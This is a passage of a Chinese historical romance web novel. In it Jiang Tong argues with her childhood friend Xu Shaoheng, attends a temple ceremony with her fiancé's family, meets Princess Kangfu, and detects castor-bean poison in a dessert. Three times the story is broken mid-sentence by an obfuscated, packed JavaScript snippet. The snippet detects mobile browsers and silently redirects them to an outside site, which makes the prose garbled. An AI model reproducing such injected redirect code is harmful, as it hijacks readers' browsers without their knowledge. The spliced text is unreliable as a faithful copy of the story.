他对她，一直都是掏心掏肺的好，什么都念着她、想着她，十多年如一日。姜彤一直感念于此，把他当作和亲人一般无二的好友。 但同时，他又总是做出些跳脱顽劣之事，让她无法平静以待。 徐少衡堵在她门前不动，眼眸轻闪，显然是知道这件事触怒了她，心中害怕。 姜彤却不打算放过，背手掩住身后房门，沉默半晌，微仰起头问他： “你为什么非要跟你哥过不去？” 这一点，她想来想去始终想不明白。 虽说她是家中独女，从小到大衣食住用都是独一份，不曾亲历兄弟姐妹争抢与矛盾。但她多少也见过邻里街坊家中的孩子纷闹，都是些埋怨爹娘偏心，你捉弄我我报复你之类的零碎官司。 而徐少衡对他哥，姜彤先前也一直是这么想的。她以为他是不忿爹娘对徐元卿的栽培和重视，兼幼时体弱，先天无法和他哥站在同一条线上，所以多少有些卑怯，进而生出怨怼。 往日说他哥坏话也就算了，可他今日所为，俨然是发了狠，要把徐元卿往身败名裂的死路上逼！ 姜彤如此问徐少衡，徐少衡也不答，微微撇了头，垂下眼，像是有些不屑。 姜彤由是心中火气更盛，压着声音道：“你若不想说，就回去，什么时候想说了再来。”绕过他打算离开。 “你别！”徐少衡连忙伸臂拦住，见姜彤一点不留情，急声央道，“我说还不行吗，我现在就说！” 姜彤于是停下来。 但她停下，徐少衡也没有立刻回答，张开的手臂慢慢收回去，赌着气，像是想到什么，脸上尽是不平。 憋了半天，他才不情不愿道：“我没有跟他过不去，我是真的发现他在和别的女子来往，想让你……想让你去看看而已。” 他知道沈芷肯定跟姜彤交代了个干净，于是挑明：“徐元卿至少从三年前开始，就一直在跟人秘密来往。那年他摔伤，我心中过意不去，到他房中找他道歉，明眼瞧见书桌上堆着一份半开的陌生包裹。” “我去的时候，他正倚在床边，单手展着信在看。听到我推门，慌忙把信藏到被褥下，问我来做什么，没说两句就说累了让我走。” “后来那些东西全不见了，他也像什么都没发生过一样。他不知道，我全看见了，那包裹用的是女子衣料常用的槿紫提花绢，里面露出来的都是些南方酥果，还有绣囊、扇坠、紫毫笔之类的小玩意，信纸虽然背着我，但透过光，一眼就能认出是女子所写。” 姜彤听过，不以为意，见此时夕晒仍盛，走到院中树影下的木墩前坐下：“这有什么，说不定是他在外结交的好友，知道他受伤，寄点东西表示心意。” 徐少衡跟上去：“不止那一次——难道沈芷那丫头没跟你说嘛，徐元卿专门养了鸽子，就为与那名女子时常联系！” 姜彤睨他一眼：“你一说，我也想问，你好好的总跟踪你哥干什么，跟做贼似的。” “我才没有跟踪他。”徐少衡撇撇嘴，“不过是那次之后，我有些疑惑，上心留意罢了。彤娘你就不想想，到底是什么身份的人，才会给他寄绣囊、扇坠、甜酥点这种女儿家喜欢的东西，还有，若真是没什么反常，他为何要遮遮掩掩，把东西都藏起来，不让咱们知道呢？” 姜彤抚着手臂，没有说话。 徐少衡见状，连忙接着道：“我今日做的是不对，但我也是被徐元卿诓骗了。他数日前在家中，神神秘秘跟他身旁的哑奴嘱咐什么，见我来了，远远就住了嘴。我留心去查，才知道他派那个哑奴悄悄去武英侯府递信。” “我猜到不对劲，观望了几天，发现今日雨一停，他就立刻出门，于是一路跟到潘楼，我以为……那名女子就是武英侯府的姑娘，两人要约在此处相会，所以……所以赶紧把你叫来……”吞吞吐吐的。 姜彤：“……我真是谢谢你。” 徐少衡抿了抿嘴。 “我知道，今天一切因我而起，最后反倒连累了你。那酒楼要赔的钱，大不了我出嘛，就当是我的赔罪。” “不用。” 前因后果已明，姜彤起身，本想说今日这事就算了，想了想，改口：“少衡，就当是我请求你，以后别再跟你哥对着干了。他无论做什么，都有他的打算，你没必要因为我去找他的茬。” 没想到这句话惹得徐少衡倏然抬起头。 他满脸惊讶：“不是，彤娘，我方才跟你说半天，他和别的女子有来往，你一点意见也没有吗？” 姜彤：“……” 糟了。 她忽然意识到，她露馅了。 她现在是和徐元卿定了亲的人。正常订婚的女子，若知道未来夫君与他人有情，哪怕心再大，也会忍不住在意，想探究一番。 她这样不闻不问，好像对自己婚事一点也不在乎。 但她又不能跟徐少衡解释。那日她答应他哥之后，他哥回信第一句就是交代此事要保密，哪怕至亲之人都不能告诉。 姜彤心中为难，一边是早就与人做好的约定，一边是徐少衡。她实在不知道该说什么，情急之下支支吾吾：“这事与你无关。” 这幅样子落到徐少衡眼中，被他误会了。他站起身急道：“彤娘，怎么与我无关！他徐元卿不讲情义，但咱们可是……我不能看着你往火坑里跳啊！” “哪里就是往火坑跳，”姜彤头大，硬着头皮辩解，“这毕竟是两家说好的，我再怎么样……额，嫁过去了也是正妻，你哥肯定不会做什么。” 徐少衡快疯了，感情他说半天等于没说：“你怎么能这样！不过是长辈之间的几句话，你宁愿委屈自己，也要嫁给他——那万一给你说的是八十岁的老汉呢！万一是街头癞子呢！” 姜彤很想说：我当然还是会挑一挑的。 可惜两人话赶话，已经说成这样了，她只能强辩：“我爹肯定不会给我找这样的人家。” “可现在这种情况与我说的又有什么两样？你就不怕他婚后纳妾吗？万一他宠妾灭妻呢？万一他养外室，生外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920805|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子呢？！” “……你想太多了，”姜彤实在糊弄不下去了，想推他离开，“别说了，一会儿我爹该回来了。” 徐少衡却越想越生气，反拽住她手臂：“他有什么好，值得你这样死心塌地对他！” “嘶——！”姜彤一时不防，被大力往前一扯，险些撞进他怀中，又牵动右臂伤口，心中一乱，下意识便往回躲。 徐少衡也吓一跳，连忙松开。 但还是不肯放过，强装镇定堵在姜彤面前，倔强的黑眸盯着她，非要她说出个好歹。 姜彤反应过来，也被徐少衡的蛮横激起了脾气，捂着手臂，瞪着他：“他有什么好，行，我告诉你！” “他才名在外，是全京城贵女都仰慕追逐的佳公子，这样的人最终娶了我，能满足我心中虚荣！”她搬出最近的流言。 “你不是这样爱慕虚荣的人！”徐少衡立刻反驳。 “我当然是，所有女子都希望自己的夫君才德远扬，受人敬仰——我出去也跟着沾光！” “有才又不能当饭吃！” “不只是才，他气质温润，清风霁月，我喜欢他的样貌，哪怕整日就这样看着，也养眼！”她又搬出左邻右舍评价。 “天下长相好的人多了，又不用非吊在他这一棵老树上！” “倒也没有那么多。” “就是很多，一大把，你身边就有！”徐少衡执拗。 姜彤再次怒视他。 美丑与个人喜好相关，她觉得他这样说，显然强词夺理，想半天，又搬出自己爹的说辞：“他是探花郎，年纪轻轻就功名有成做了官。我嫁过去，便是官夫人！” “做官了又怎样，还不是早晚不着家，俸禄几两，整天就知道忙公事。” 这次姜彤敏锐察觉他的语气开始发虚，立刻道：“做官虽然俸禄低，却是为百姓做事，为天地生民请命。我就喜欢这样心存大义，做大事的夫君！” 徐少衡：“……” 徐少衡这次反驳不了。 姜彤接着道：“他有才，有貌，年纪轻轻便做官，这三项条件，单独拿出来可能没什么，但能同时满足的人，天下间屈指可数。所以我看上你哥，想嫁给他，就是这样！” 徐少衡沉默。 片刻后问：“就真的非他不可吗？” 姜彤避开他的目光，不语。 两个人相对站着，半天无话，只有树叶随着轻风沙沙微动，影子随着时辰一点一点拉长。 直到树影悄悄触到东墙边上，徐少衡突然转身，什么也没说，翻墙离开了。 姜彤突然脱力，后退坐到木墩上，徒然捂着手臂。 她觉得很累。 手臂上的伤也比早些时候要疼。 一抽一抽的疼，像是牵动了全身的神经，让她无力，想弯下身，埋下头，静静地什么也不思考。 但再怎么压抑，她也忍不住想，往常她和徐少衡也总是吵吵闹闹。他每次闹脾气，离开前都要放狠话，说他再也不理她了。 然后没多久，又过来小心给她赔礼道歉。 从小到大，她还是第一次见他头也不回走人。 12. 灵禅 …… 四日后。 姜彤清晨天未亮就出门，徐家的马车正等在门口不远，准备接她一起前往灵禅寺。 灵禅寺坐落在京郊灵陀山上，是大熙朝钦定的国寺，向来香火鼎盛，信众如云。 每三年一度，灵禅寺会举行大型法会，为天下百姓祈福。三年前撞上先帝驾崩，法会取消，而今年则是新朝初立之后的首次，必定热闹非常。 为此，姜彤今日也换了一身兰纹对襟罗裙，显得素雅又不失庄重。她走下台阶，抬头便看见徐元卿一袭云锦圆领袍，骑在高高的枣红马上，微微点头向她示意。 姜彤见到他有些意外。她记得徐元卿当日在信中说，今日由她陪伯母去灵禅寺，却没想到他本人也要去。 这意外之色在她脸上显现出来，徐元卿一眼就看到了，解释：“前几日出了岔子，我不放心，想想还是决定和你们一起。” 姜彤随即也想起前几日的“岔子”，当着他的面不好说什么，于是点点头，望向他身后。 徐家夫人张氏正坐在马车厢中，高兴地探身朝姜彤招手。 待姜彤走上前，张氏伸手将姜彤拉进马车，亲亲热热挽在自己身边。她朝姜彤上下打量了两眼，弯唇道：“你今日这身打扮好看，端庄清雅，比京城不少女儿家都显得大方……唔，就是头发上有些素了。” 说罢，吩咐身边的管家妈妈将随身包裹中的木匣拿出来，挑出一对东珠缠花钗，往她发髻上插去。 姜彤连忙推辞。 张氏不让姜彤动，举着发钗对她道：“阿彤，不许推托，我早就把你当作我女儿一样，更何况再过不久咱们就是真正的一家人，做长辈的给你添点首饰又算什么。你戴着也是给我长脸，快听话！” 姜彤无奈，只好微微垂头，让张氏帮自己簪上。 张氏簪完又左右看了看，十分满意，拉着她的衣袖道：“阿元已经跟你说了吧，届时参加完法会，咱们会在寺庙里歇息一夜，他已经定好了禅房。这几日灵陀山上肯定到处都是人，你一定要跟着我，别走散。” 这些姜彤得了信就跟自己爹交代过，也得到应允，于是应下。 马车早已经出发，踏着青石板朝城门的方向走。 张氏长着一张标准的鹅蛋脸，纤眉乌眸，四十多岁年纪仍然像三十出头的样子，举止投足温婉雅致。听闻她家中祖上曾出过数位帝师阁老，在文臣清流中颇有名望。只不过在前朝时，因家主得罪了先帝，举族被贬官流放到西南。 当年，家中亲人在流放路上罹患恶疾逝世，张氏得徐家扶助，因此才与徐伯父结缘。 后来徐伯父进京考上进士，她又带着孩子返回京城。 早年的磨难并没有让她变得憔悴消沉，反而更加凸显了她身上随和豁达的气质。张氏为人和善，闲时不爱出门，就在家中便捣鼓些养花裁衣之类的爱好。 姜彤小时候，因为爹爹总忙，张氏总将她带在身边和徐少衡一起照顾。许多女孩子成长中该知晓的东西，姜彤都是被张氏带着手把手教的。 因此两人关系十分亲近。 闲谈中，张氏兴致勃勃说起婚事的进程：“两日前纳彩礼，送去你家的玉鹅、合欢铃之类的礼品，你都看过没有？伯母也是头一次办这些，有什么不到位的，你一定要讲。还有媒婆，我们挑的是官媒中口碑最好的刘氏，吉日也已经找人去算了，大概就在这个月内，等定下来，我们就来拿庚帖。记得回头跟你爹说，卜算八字的大师要尽早去找……”絮絮叨叨。 “好。”姜彤一一应下。 聊了半个多时辰，张氏又说起徐少衡：“他这几日也不知道怎么回事，说话也不回嘴了，做事也不毛毛躁躁了，整天在房中呆着，哪里也不去，总觉得像是在憋什么大事。” 张氏说着，蹙了蹙眉。 姜彤这次没接话。 四日前，她和徐少衡又闹翻了，徐少衡跑回去之后，就再也没来找她。中间姜彤又忙着应对纳彩礼，被媒人指东指西地忙碌。后来她送东西去过徐家两趟，都没碰到他。 也许他这次是真的生气了。 姜彤心中多少有些不安。但有时候她又对自己说，还是让他自己静一静，好好想想吧。他也不能整天由着性子，想做什么就做什么。 如果是寻常小事还好说，但她的人生，她的亲事，当然要以她的想法为先。 姜彤在这种事情上，坚决不低头。 - 日头越来越晒，马车摇摇晃晃，从平坦官道踏上山路，又在山路上弯弯转转，盘旋近一个半时辰，终于到了灵禅寺门下。 灵禅寺坐落在灵陀山顶，殿宇威严，古树环盖，袅袅烟雾于林中升腾缭绕，愈发衬得此处仿若仙境圣殿。 即使天气炎热，山上香客依旧络绎不绝，皆三两成伴，神色虔诚来此处祈愿。 姜彤扶着张氏下马车，还未踏上石阶，便有一名粗眉方脸的礼僧前来相迎。 他们跟着礼僧进入寺院，绕过照壁，一路上处处都是鲜花香果，黄底红符的幡幢有序立在道路两旁，微微随风拂动。 礼僧带他们穿过数条院落甬道，经过长长的曲折回廊，最后进入灵禅寺后方的一间幽静小院，合手对众人道：“法会吉时还有两刻钟，请诸位先行安置，稍后小僧再过来引诸位去法坛。” 说罢离开。 姜彤环顾四周，这间院子面积不算大，不过在这暑气初显的季节里，满院翠枝交相掩映，显得十分宁静清凉。众人很快分配了屋子，姜彤进入自己住的厢房，将随身行李放好，没多久便听到有人敲门。 打开门一看，是徐元卿身边的哑奴，过来给姜彤传信——贵人今日事务繁忙，要等到晚间才会见他们。 言下之意，姜彤上午可以好好参加法会，不必时刻紧张。 姜彤看了信，问哑奴：“你可知道贵人是谁吗？” 原本在来的路上，她就想问，但那时山道上行人甚多，她担心被人听去，引出事端，便没有开口。 哑奴闻言，抬手打了几个手势。 姜彤看不懂，问：“你能不能写下来？” 哑奴啊啊两声，摇头。 姜彤只好放他离开。 很快，粗眉礼僧又返回来了，带领他们前往法坛。 法坛建立在灵禅寺正殿门前，以汉白石为基，中间是垒了祭品香烛的供桌，外围一圈玉栏黄幡，显得肃穆而庄洁。底下另外三面广阔平坦，可以容纳千百信众。 十数丈高的莲座金佛屹立在正殿之下，透过红尘烟火，慈眉善目俯瞰皑皑众生。 姜彤等人到了地方，随礼僧的引导，各自坐到蒲团上。没多久，法会开始，灵禅寺主持引一众高僧上法坛，引香坐台诵经。 中间经历了种种流程，大体便是高僧祷念经文，通过种种仪式传至九天神佛之境，虔心祈求佛祖庇佑。 待仪式告一段落，礼僧持起法坛上供奉的花露净水，以柳枝沾取，洒到众人额上手上，为大家消灾驱邪。 中午姜彤吃了顿素斋，下午继续参加诵经坛会，又顶着骄阳坐了两个多时辰。 到了捐善款的流程，张氏代表徐家捐了两百两银子，随后不等姜彤反应，又为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920806|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜家带了一份。 仍然不许姜彤推辞，告诉她：“这法会的善款与平日不同，捐款多的香客有在主殿佛像下供灯一年的机会，用来为故去的亲人祈福。趁此机会，你正好为你娘求一盏。” 姜彤无法拒绝张氏的热情，想到那注定没有结果的亲事，心中对她的愧疚感越来越重。 她看了眼徐元卿，正好他站在张氏另一侧，也朝她看过来。 两人目光对上，徐元卿微微点了下头，示意她接受。 姜彤垂眸，默默缩回了手。 - 等一切结束，已经近酉时，参加法会的百姓纷纷趁着夕阳下山去。 张氏带着姜彤回到休息的禅房，终于跟姜彤交代：“康福长公主这次代表皇室前来参加法会，白日一直在正殿为社稷祈福，晚上空闲下来，想要见见你。一会儿你随我过去，什么也别怕，有我在，问什么你就答什么，我和阿元都会帮你。” 姜彤心中道：原来贵人是康福长公主。 她脑中闪过这两个月以来，康福长公主府屡屡派人送礼，高调示好徐家的画面，思忖对方见自己有什么目的。 许是怕姜彤紧张，张氏坐在姜彤屋中陪她说话，帮她整理衣饰，又教她种种与皇室之人的应答之策。 两人在禅房又等了一阵，终于有人前来传唤。 是位手持拂尘的灰发侍监。 张氏不慌不忙，让管事妈妈给侍监打赏银子，又飞速打量了番姜彤的仪容，挽住她的手，随后带着早就立在一边，换了身浅衫的徐元卿，跟随侍监出门。 他们往灵禅寺另一个方向走，去了一处更大的院子。 这间院子在灵禅寺藏经楼后不远，古朴雅致，清幽宜人。 只不过，院外一圈戒备森严，满身杀气的持刀重甲兵卫极大地冲淡了这份幽静。 这些兵卫与姜彤平日见到的低职兵士不一样，个个戴头盔，披银甲，像是一个模子刻出来的一样。明明一身重装，却没有任何懈怠懒散之态，双眼肃杀怒视前方，似乎随时要拔刀搏命。 侍监带着她们上前，守门侍卫抽刀阻拦，直到侍监亮出一枚不知名令牌，才收刀回鞘，退步让开。 院子里也有不少侍者，人人脚步无声，目不旁视，各自做着自己的事情。 灰发侍监带人走到门前，让他们稍候，掀开苇帘进去，模糊的身影稍稍欠身：“长公主，人带来了。” “让他们进来吧。”一道略带磁性的沙哑女声道。 姜彤跟着张氏进去，正堂中错落有致摆放着一套紫檀木家具。靠墙是刻着宝相花，陈列着各色奇石宫瓷的多宝格，紧挨着多宝格则横着一架佛陀受难图的屏风，屏风之下是一张罗汉榻。 一名身着红服罗裙的女子正姿态闲适倚着木榻。榻下两边的交椅上，还坐着另外三位不知身份的夫人和官家小姐。 姜彤出现的刹那，只觉数道目光如实线般扫向她。 姜彤跟着张氏矮身福礼。 “起来吧，”女子指了下空着的交椅，“不用拘礼，都坐着说话。” 等姜彤跟随大家一起坐下，为首榻上的女子才又动了，微微坐起身，沙哑的声音道：“你就是姜家那个闺女？抬起头来给我看看。” 姜彤依言起身抬头，同时榻上女子的容貌也映入她的眼中。 她一身赤金玄凤袍，头束狄髻，额宽面阔，凤眸明锐。明明只是在那里随意坐着，一股淡淡的威严感却悄无声息地从她身上发散开。 姜彤心里想，原来这位就是传说中率亲兵平宫乱，扶幼帝定新朝的康福长公主。 13. 见面 长公主带着三分好奇，两分探究，仔细看了看姜彤，挥手又让她坐下。 接过随行宫人上的新茶，品了一口，问姜彤：“你父母是什么地方的人？家中可还有什么兄弟姐妹么？” 姜彤一一作答。 接着又问她家什么时候搬来的京城，识不识字，平日都喜欢做些什么之类惯常会问的问题。 等姜彤说完，也只是点头，不曾说什么。 堂中一时安静，没一会儿，旁边一位年过四旬的蓝襟夫人忽然问：“既然是来参加佛门法会，你怎么不和你母亲一起，而是跟着徐家夫人？” 姜彤闻言看向那位夫人，正要作答，旁边张氏道：“这位是平阳侯夫人吧？您有所不知，阿彤她娘原本是位仁心仁术的女医师，可惜十多年前为救人染了恶疾，撇下这孩子走了。她父母感情恩爱，所以姜大人一直都没有再娶，是独自将这孩子拉扯大的。” “这孩子向来懂事，平时闷在家中也不爱出门，是我看这次法会热闹，家里又没有个可心的女儿，这才硬拉着她陪我过来的。” “噢，这样啊，”蓝襟夫人听说了原委，眼中露出些轻视，“这位姜大人也太胡闹了，先夫人既然故去，应该趁早续个弦、生个儿子才是正理。他也不想想，一个女儿家，没有母亲带着，如何学礼仪规矩，且家中没有兄弟支应，将来被欺负了都没人撑腰。” 姜彤早就听惯了这一套说辞，当下回道：“多谢夫人关心，不过我爹向来教导我，礼仪规矩都是圣人传下来的，只要勤勉读书即可通明事理；兄弟姐妹多了纷争也容易多，人生在世，应当自强。” 蓝襟夫人一听，脸立马拉下来，对众人道：“你们看我说什么来着，我这做长辈的句句为她好，人家倒不领情，当众就要回嘴。” 姜彤心道：你上来就指责我爹，我疯了才会领你的情。 她没说话，心中明白，如果长公主此番叫她过来就是为了借机找茬，让旁人奚落她家世，那么她说什么都不对，说不定还会得罪人，给她爹惹麻烦。 这种苛责，不过是因婚约而起，她没必要顶在前面。 “夫人不必动气，”另一侧的徐元卿很快接过话，“续弦与否，都是姜家家事，姜大人会如此考虑，也许有不便告知外人的原因。说起来，我倒是极为佩服姜大人，于公，尽忠职守，履立功绩，于私，对故妻情深一片，对女儿勤勉教导，实在为天下男子楷模。” 蓝襟夫人大概没想到自己会被两个小辈不软不硬连怼两回，怒瞪徐元卿，张氏看出气氛不对，连忙圆场：“哎，都是些陈年芝麻事，阿彤是晚辈，做父亲的怎么打算，她也只能顺从，哪里能说上什么——若说这夫妻恩爱，满京城都比不上长公主与驸马，自少年结缡，如今已经相伴相守二十多年，膝下又有两子一女承欢，实在是羡煞旁人！” “都老夫老妻了，你可别笑话我。”长公主笑着接过话，想想，又点点头，“不过我也在想，自古男子三妻四妾是常道，夫人没了就要再娶，女子没了丈夫却要守节，确实不公。姜大人如此长情，想来那位夫人定然十分出色，令人难以忘怀。” 姜彤闻言，目光一动。 坐在左首交椅上的蓝襟夫人没料到长公主会这么说，脸色一时精彩纷呈，面上跟着众人假笑，端着茶盏的两手却不自觉用力，都快要把茶盏捏碎。 蓝襟夫人旁边的少女看上去是平阳侯府的小姐，见状紧张地注视着自己母亲，眼中露出瑟缩。 长公主也没注意到，似乎想起什么往事，目光出神。 这时，原本没出声的另一位杏衫夫人转过头来：“徐编修，我听嫂嫂说，你和姜小姐才定的亲。今日你既然敢当着她的面如此称赞姜大人，想必是打算效仿未来岳父，一心一意待佳人了。” 徐元卿被如此打趣，目光落到姜彤身上，而姜彤此时也恰好瞥向他，准备看他怎么回答。 两人目光对上一瞬，徐元卿很快敛眸，起身拱礼：“执子之手，与子偕老，下官蒙长辈世学教导，自幼便憧憬这种夫妇和鸣的生活。等日后成婚，必当同心不负，白首不离。” “好！”长公主不知何时已经回过神来，听到徐元卿的话，拍手笑赞了一声，“徐奉英，这里是灵禅法寺，你既然敢如此立誓，佛祖听见了，也定会保你婚事顺遂。还有，徐夫人，今日在场的各位都是见证人，等日后喜事临门，可别忘了给我们发请帖，到时候我也要去凑凑热闹，讨杯酒喝。” 张氏、徐元卿连忙谢礼。 姜彤也起身跟随，低头假意扮羞。 心里却想：这下好了，徐元卿在长公主面前都夸下海口，等日后两家解除婚约，他也不知道要如何把话圆回来。 总不能自毁誓言，被人当作负心汉指责吧。 - 原本平阳侯夫人贬损姜彤时，姜彤还以为，长公主是为了给她难看。却没想到，张氏说长公主想见见她，也就真的只是见见，除一开始问了姜彤一些寻常问题外，便再也没有说什么。 众人接着聊天，堂中氛围逐渐变得轻松，蓝襟夫人脸色也由阴转晴，开始积极说起各家长短。 姜彤默不作声地听了会儿，渐渐搞清楚另外两位夫人和长公主之间的关系。原来蓝襟夫人姓王，她所在的平阳侯府赵家是公主府的亲家。 去年赵家长女刚嫁给长公主的儿子为妻，因为有了身孕，所以这次没有跟着过来。 王夫人这人也十分有趣，说话东一榔头西一棒子，总是有意挑起话题讨好长公主，但长公主不知道是不喜欢王氏聊的话题还是怎样，总是不太搭理，搞得王氏讪讪的，表情很是郁闷。 王氏旁边坐着的是她的小女儿，闺名莺娘，几乎不说话，偶尔出声也是弱弱的，声音极小。每次看到王氏冷场，她都有些坐立不安。 右首椅子上坐着的，是驸马的妹妹李氏，三十多岁年纪，是陪长公主一起来的。她说话不急不缓，倒很是对长公主脾气，有时候王夫人不注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920807|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意说错了什么，李夫人也会好心地帮忙解围。 徐家与这两位夫人相比，算是外人。但姜彤很快听出来，长公主在闺中就与张氏结识，且熟悉张家不少长辈，和张氏议起前尘往事，感慨颇多。 几位夫人聊了半个多时辰，天色暗下来。有侍女上前在长公主耳边说了几句话，长公主一听，起身道：“难得今日咱们在这佛寺相聚，方才寺中师父传话过来，说晚膳已经备好，你们也都别走了，和我一起用膳吧。” 言毕，挥手邀众人一起品赏灵禅寺的斋菜。 姜彤随着张氏转道次堂，此时案几已经摆好，依旧是按照尊卑座次，一人一案。大家各自坐到自己的位置上，礼僧将斋菜一一摆上来。 姜彤中午吃过一顿素斋，不过那是给来参加法会的所有香客准备的，每人都是平等的一碗素面，两碟素菜。 晚间则不同，长公主毕竟是皇室中人，灵禅寺又是皇家寺院，自然要使出浑身解数，将寺中最具特色的菜品呈上来。 不出姜彤所料，灵禅寺的伙房师傅十分用心。光是凉菜便有六碟，都是寺中自种自腌的爽口酱菜，什么脆笋丝、红心萝卜，什么菩提瓜、糟腐乳，每碟不到巴掌大小，但五颜六色的，看上去赏心悦目，夏日晚间吃起来十分可口。 接下来又是四盘热菜——番瓜杂菌盅、素佛跳墙、酥油如意卷，湘烤四喜麸。许是担心长公主吃不惯素斋，所以都是用料较为繁复的品类。 传菜时，为首的僧人也会在一旁介绍，譬如哪些菜是寺中师父自己种的，哪些菜是在深山中现采的，还有哪些菜品用料是寺中僧人自己调配，在外面根本寻不到的。 等众人就着饭吃得七七八八，又上了一碗清汤，一盏冰甜点。 汤是玉丝莼菜汤，用莼菜和切成细丝的嫩豆腐制成，而冰甜点则叫雪山莲，分为上下两部分，下面是用冰沫堆成的雪山，散发着清凉之气，而上面则是用米糍压成的半透明莲花，里面裹了浆，由内而外透着淡淡的粉色，好似真正的莲花在冰盏中盛放。 姜彤对这份甜点十分感兴趣，先是舀了一勺雪冰送入口中，冰甜冰甜的，入口即化，仔细品味，里面还有淡淡的米浆香气。 她参加法会已经热了一天，一尝之下觉得十分清爽，连吃了好几口，直到冰凉之意散遍五脏六腑，又去尝上面的莲花。 勺子一挖，里面顿时溢出胭脂色的细腻流沙，顺着沟壑融进雪沙中。 姜彤举勺送入口中，却在勺尖触到唇上时，鼻子闻到了流沙豆馅的味道。 那是一股带着清凉的，奇异的香气。 姜彤手一顿，举勺仔细闻了闻，又将烛火拿过来，眯眼仔细辨认了一番豆沙颜色，等看清楚，大吃一惊，连忙将张氏正要品尝的同式甜点也拿过来看。 张氏吓一跳，问她怎么回事，姜彤着急之下也来不及回应，等终于确认清楚，立刻站起来大声道： “有毒！这甜点有毒！大家千万不要吃！” 14. 案情 姜彤提醒的时候已经晚了。 除了张氏因为甜点被夺，徐元卿注意到她这边的异状，还没有尝之外，其他几人，已经多多少少入了口。 长公主等人吃了近一半，而王夫人也不知是因为怕热还是怎的，早就在甜点端上来没多久就囫囵吃个干净。 听到姜彤出声，大家都是一愣，长公主不太相信：“姜娘子，你在说什么，这些饭菜都是验过毒才端上来的，怎么可能会……” 姜彤心下着急，也顾不得尊卑规矩，大步走到长公主面前，伸手去拿长公主面前的瓷碟。 有侍监上前阻拦，长公主让人退下。姜彤用勺子挑起部分豆沙流浆，放到鼻下闻了闻，笃定道：“长公主，这豆沙是蓖麻豆研磨而成的，虽然混了甜菜汁，不大明显，但我知晓此物，能闻出来！” “人若服用蓖麻豆，只需少量便会中毒！入口半刻钟便会开始呕吐腹泻，接着腹痛难忍，高热不退！如果不及时医治，半日之内就会毒发身亡！” “长公主，眼下大家刚吃下去，当务之急是赶紧把腹中的毒物吐出来！” 众人哪里料得到这一状况，一时都傻了眼。 姜彤看大家都错愕在原地，转头命令一旁的侍监：“快去准备盐汤催吐！要温热不烫嘴的，端一大锅过来！” 接着说了声：“长公主，恕民女失礼！”拉过长公主的手腕，将其袖子一挽，用力按压内关穴。侍监听到姜彤命令，惊惶中看向自家主子，得到眼神应允，急忙出门准备。 此时入口最多的王夫人反应过来，吓得满脸苍白，手捂住肚子：“不，不会吧——哎哟，我的肚子好像真的有点痛……” “娘，娘！”闺名莺娘的姑娘连忙扶住瘫在椅子上摇摇欲坠的王夫人，吓得求助姜彤：“姜娘子，姜娘子，我娘她是不是毒性发作了！请你救救她！” 姜彤身边的长公主在穴位被刺激之下已经开始俯身干呕。姜彤扶着对方，对莺娘迅速道：“快用力按夫人锁骨中间位置，一会儿盐汤过来，让她赶紧喝，喝完再按，直到把所有吃食都吐出来为止！” 又去唤张氏：“伯母，麻烦您帮忙照料李夫人——也是一样的法子！” 话音未落，一名身着玉纱烟紫罗裙的少女口中喊着“娘亲”，跌跌撞撞从主堂那边奔进来。恰好在门口遇到徐元卿，她连忙抓住他衣袖，柔怯慌乱的声音道：“奉英哥哥，到底怎么回事，我听说有人给我娘下毒！” 徐元卿刚唤人将在场传菜的僧人拘押起来，正待出门，撞见这名少女，连忙退步拱手：“李娘子，长公主就在室内，家母和未婚妻正在照看众位夫人，在下要赶紧去寻大夫。” 少女吓了一跳，本能松开徐元卿的衣袖，双眼穿过众人直直看向最里面，正好与抬头的姜彤目光对个正着。 姜彤身旁，俯首吐完一场的长公主咳嗽数声，转头伸出手，虚弱道：“柔儿，那东西你没吃吧……” 少女错开目光，连忙扶裙奔上前，低头托住长公主的手：“娘，我没事，方才正想吃来着，就听说这里出事了。” 盐汤此时也送到了，姜彤让开位置给长公主母女，指示误食蓖麻毒的人大口饮下。 不多时，屋中夫人各自就着盂盆避着人吐起来，一时间秽物之味弥漫，让人难以呼吸。 - 大夫直到半个多时辰之后才赶到。 因为灵禅寺的晚斋出现问题，徐元卿不敢找寺中医僧，而是直接派人下山，就近寻了山下村庄的一名大夫。 此时误食的几人已经不同程度出现症状。 最幸运的是莺娘，许是碍于仪容，她只吃了“莲花”的花瓣尖，又因干涉及时，所以除了受到惊吓，面色有些苍白之外，没什么明显的不舒服。 但她的母亲，王夫人，症状是最严重的。中间曾腹泻数次，虚脱之下已经晕过去。 李夫人和长公主介于中间状态，都是腹中抽痛阵阵，全身冷汗，一个紧缩着身体，脸色煞白喊冷，一个昏昏沉沉，说不出话来。 